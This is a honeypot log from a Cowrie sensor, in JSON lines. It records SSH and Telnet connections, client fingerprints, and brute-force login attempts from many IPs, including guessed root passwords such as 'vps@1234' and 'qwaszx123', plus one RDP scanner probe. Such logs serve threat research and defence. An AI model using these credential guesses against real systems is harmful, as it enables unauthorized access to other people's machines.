{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:55.522148Z","src_ip":"181.188.172.6","session":"73d2c8c4170b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps@1234","message":"login attempt [root/vps@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:56.055108Z","src_ip":"181.188.172.6","session":"73d2c8c4170b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:56.563915Z","src_ip":"185.236.22.41","session":"79192cdb830e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:57.523145Z","src_ip":"181.188.172.6","session":"73d2c8c4170b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59702,"dst_ip":"159.203.135.109","dst_port":22,"session":"406185fe9492","protocol":"ssh","message":"New connection: 51.250.105.222:59702 (159.203.135.109:22) [session: 406185fe9492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:58.794246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:58.799107Z","src_ip":"51.250.105.222","session":"406185fe9492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:58.930403Z","src_ip":"51.250.105.222","session":"406185fe9492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.70075273513794,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:59.275973Z","src_ip":"152.42.224.71","session":"4e4e0e4609e3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx123","message":"login attempt [root/qwaszx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:59.323652Z","src_ip":"51.250.105.222","session":"406185fe9492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:00.457216Z","src_ip":"51.250.105.222","session":"406185fe9492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.2","message":"Connection lost after 26.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:03.620953Z","src_ip":"47.237.167.49","session":"0c5d5c176ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.09946966171265,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:04.654165Z","src_ip":"152.42.224.71","session":"d94afbc89ec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.17637872695923,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:06.325501Z","src_ip":"152.42.224.71","session":"d684fbac7d22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":55640,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e6fa83faf4b","protocol":"ssh","message":"New connection: 170.238.160.191:55640 (159.203.135.109:22) [session: 1e6fa83faf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:06.374235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:06.379117Z","src_ip":"170.238.160.191","session":"1e6fa83faf4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:06.490078Z","src_ip":"170.238.160.191","session":"1e6fa83faf4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":39092,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d9849560357","protocol":"ssh","message":"New connection: 103.183.114.55:39092 (159.203.135.109:22) [session: 9d9849560357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:06.934208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:06.939034Z","src_ip":"103.183.114.55","session":"9d9849560357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"password","message":"login attempt [rocky/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:06.970524Z","src_ip":"170.238.160.191","session":"1e6fa83faf4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:07.166741Z","src_ip":"103.183.114.55","session":"9d9849560357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41774,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba164f77a683","protocol":"telnet","message":"New connection: 152.42.224.71:41774 (10.17.0.5:23) [session: ba164f77a683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:07.220213Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"25252525","message":"login attempt [root/25252525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:07.847364Z","src_ip":"103.183.114.55","session":"9d9849560357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:08.084070Z","src_ip":"170.238.160.191","session":"1e6fa83faf4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.08548617362976,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:08.913779Z","src_ip":"152.42.224.71","session":"e4bcc1886eae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:09.080307Z","src_ip":"103.183.114.55","session":"9d9849560357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41788,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cedf07a4e1f","protocol":"telnet","message":"New connection: 152.42.224.71:41788 (10.17.0.5:23) [session: 4cedf07a4e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:09.214917Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41798,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e405f522d24","protocol":"telnet","message":"New connection: 152.42.224.71:41798 (10.17.0.5:23) [session: 9e405f522d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:10.070481Z"}
{"eventid":"cowrie.session.closed","duration":5.563209295272827,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:12.783296Z","src_ip":"152.42.224.71","session":"ba164f77a683","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.26197957992554,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:16.252004Z","src_ip":"152.42.224.71","session":"5d5bd5e013d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":34804,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b59757fa63a","protocol":"ssh","message":"New connection: 109.237.96.109:34804 (10.17.0.5:22) [session: 1b59757fa63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:18.370108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:18.374810Z","src_ip":"109.237.96.109","session":"1b59757fa63a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:18.468835Z","src_ip":"109.237.96.109","session":"1b59757fa63a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws","message":"login attempt [root/1qa2ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:18.757958Z","src_ip":"109.237.96.109","session":"1b59757fa63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:19.854229Z","src_ip":"109.237.96.109","session":"1b59757fa63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.494953632354736,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:21.934094Z","src_ip":"152.42.224.71","session":"a01864a505d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49830,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fda40f2171a","protocol":"telnet","message":"New connection: 152.42.224.71:49830 (10.17.0.5:23) [session: 4fda40f2171a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:25.236872Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49814,"dst_ip":"10.17.0.5","dst_port":23,"session":"81af6cd5e4ff","protocol":"telnet","message":"New connection: 152.42.224.71:49814 (10.17.0.5:23) [session: 81af6cd5e4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:25.298005Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45928,"dst_ip":"10.17.0.5","dst_port":23,"session":"4778218e4e72","protocol":"telnet","message":"New connection: 152.42.224.71:45928 (10.17.0.5:23) [session: 4778218e4e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:27.932954Z"}
{"eventid":"cowrie.session.closed","duration":56.72630739212036,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:28.768330Z","src_ip":"152.42.224.71","session":"a095f6ab7b0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.98140335083008,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:34.512119Z","src_ip":"152.42.224.71","session":"5fc022be9c4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.64014601707458,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:35.337286Z","src_ip":"152.42.224.71","session":"92fd0db6ec6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47054,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e17700f6a4","protocol":"telnet","message":"New connection: 152.42.224.71:47054 (10.17.0.5:23) [session: 13e17700f6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:45.326987Z"}
{"eventid":"cowrie.session.closed","duration":120.00351691246033,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:47.367597Z","src_ip":"2.15.172.90","session":"942d5278a260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62726,"dst_ip":"10.17.0.5","dst_port":22,"session":"41915d353c9c","protocol":"ssh","message":"New connection: 152.42.212.128:62726 (10.17.0.5:22) [session: 41915d353c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:48.070112Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:48.074545Z","src_ip":"152.42.212.128","session":"41915d353c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:48.078019Z","src_ip":"152.42.212.128","session":"41915d353c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.719268083572388,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:49.017081Z","src_ip":"152.42.224.71","session":"81af6cd5e4ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.36599087715149,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:51.436345Z","src_ip":"152.42.224.71","session":"9e405f522d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.15.172.90","src_port":40020,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1cc0493c21d","protocol":"telnet","message":"New connection: 2.15.172.90:40020 (10.17.0.5:23) [session: b1cc0493c21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:51.780506Z"}
{"eventid":"cowrie.session.closed","duration":0.03795218467712402,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:51.818333Z","src_ip":"2.15.172.90","session":"b1cc0493c21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.15.172.90","src_port":40126,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93a0cf0656f","protocol":"telnet","message":"New connection: 2.15.172.90:40126 (10.17.0.5:23) [session: f93a0cf0656f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:51.949241Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57118,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9285329dee","protocol":"telnet","message":"New connection: 152.42.224.71:57118 (10.17.0.5:23) [session: ff9285329dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:54.486382Z"}
{"eventid":"cowrie.session.closed","duration":46.18743872642517,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:06:55.402195Z","src_ip":"152.42.224.71","session":"4cedf07a4e1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44742,"dst_ip":"10.17.0.5","dst_port":23,"session":"6834914b072c","protocol":"telnet","message":"New connection: 152.42.224.71:44742 (10.17.0.5:23) [session: 6834914b072c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:00.641474Z"}
{"eventid":"cowrie.session.closed","duration":40.03741955757141,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:05.274150Z","src_ip":"152.42.224.71","session":"4fda40f2171a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34986,"dst_ip":"10.17.0.5","dst_port":23,"session":"95e07806ad86","protocol":"telnet","message":"New connection: 152.42.224.71:34986 (10.17.0.5:23) [session: 95e07806ad86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:07.851647Z"}
{"eventid":"cowrie.session.closed","duration":120.00309228897095,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:09.733494Z","src_ip":"152.42.224.71","session":"e13b008d18da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34990,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd44c54ced2f","protocol":"telnet","message":"New connection: 152.42.224.71:34990 (10.17.0.5:23) [session: dd44c54ced2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:10.106087Z"}
{"eventid":"cowrie.session.closed","duration":120.0022349357605,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:11.085629Z","src_ip":"152.42.224.71","session":"dae1766dba29","protocol":"telnet"}
